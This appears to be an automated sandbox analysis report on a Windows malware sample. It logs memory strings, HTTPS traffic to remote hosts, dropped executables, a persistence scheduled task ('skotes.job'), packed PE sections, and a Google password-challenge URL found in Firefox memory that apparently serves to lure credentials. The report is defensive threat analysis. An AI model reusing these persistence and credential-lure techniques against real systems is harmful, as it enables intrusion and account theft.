Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001B.00000002.3391699036.000001D17618E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3226697967.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3229528008.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163697186.000001D16DD3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3329197186.000001D16E98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17079F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/initializeShowSearchSuggestionsFirstPref/groupNam
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru//
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: 51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3211487644.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001B.00000002.3394413519.000001D176390000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001B.00000002.3394413519.000001D176364000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3225721440.000001D176474000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3218464844.000001D175F72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163697186.000001D16DD3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000002.3391699036.000001D17618E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001B.00000002.3308221546.000001D16A013000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E663000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405392878.00002F9276704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314889990.000001D16B647000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3281371336.0000000B338BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 51d383286f.exe, 00000008.00000003.3011142112.0000000005F68000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3204326424.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3369971998.000001D170813000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 51d383286f.exe, 00000008.00000003.3011142112.0000000005F68000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3204326424.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3369971998.000001D170813000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 0000001B.00000002.3302900599.000001D16975C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: 51d383286f.exe, 00000008.00000003.3011142112.0000000005F68000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3204326424.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.3281371336.0000000B338BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001B.00000002.3403729556.000016A857AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3376789596.000001D1717C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3386798370.000001D175E53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000002.3391699036.000001D17618E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001B.00000002.3391699036.000001D17618E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001B.00000002.3383823970.000001D175B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3362581303.000001D170469000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3373872332.000001D170D5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.3314889990.000001D16B6A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.3150111976.000001661DE07000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3156860954.00000240E32AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001B.00000002.3299157222.000001D15F85A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3299157222.000001D15F7C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://cb97
Source: firefox.exe, 0000001B.00000002.3406053567.0000342CB2700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50107 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 436631dbc3.exe, 0000000B.00000002.3180708237.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_aea58370-e
Source: 436631dbc3.exe, 0000000B.00000002.3180708237.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_39cdd508-4

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: e96c94d1af.exe.6.dr	Static PE information: section name:
Source: e96c94d1af.exe.6.dr	Static PE information: section name: .idata
Source: e5323e2eed.exe.6.dr	Static PE information: section name:
Source: e5323e2eed.exe.6.dr	Static PE information: section name: .rsrc
Source: e5323e2eed.exe.6.dr	Static PE information: section name: .idata
Source: e5323e2eed.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 51d383286f.exe.6.dr	Static PE information: section name:
Source: 51d383286f.exe.6.dr	Static PE information: section name: .rsrc
Source: 51d383286f.exe.6.dr	Static PE information: section name: .idata
Source: 51d383286f.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name:
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name: .idata
Source: 8ab7de79e4.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E8E530	6_2_00E8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E8E530	6_2_00E8E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC78BB	6_2_00EC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC8860	6_2_00EC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC7049	6_2_00EC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E84DE0	6_2_00E84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC31A8	6_2_00EC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC2D10	6_2_00EC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EC779B	6_2_00EC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00E84B30	6_2_00E84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00EB7F36	6_2_00EB7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: String function: 00E97A00 appears 43 times

Source: C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1568

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: file.exe	Static PE information: Section: crtbbopa ZLIB complexity 0.9946064330543933
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: skotes.exe.0.dr	Static PE information: Section: crtbbopa ZLIB complexity 0.9946064330543933
Source: random[1].exe.6.dr	Static PE information: Section: yeceswnp ZLIB complexity 0.9946972032791642
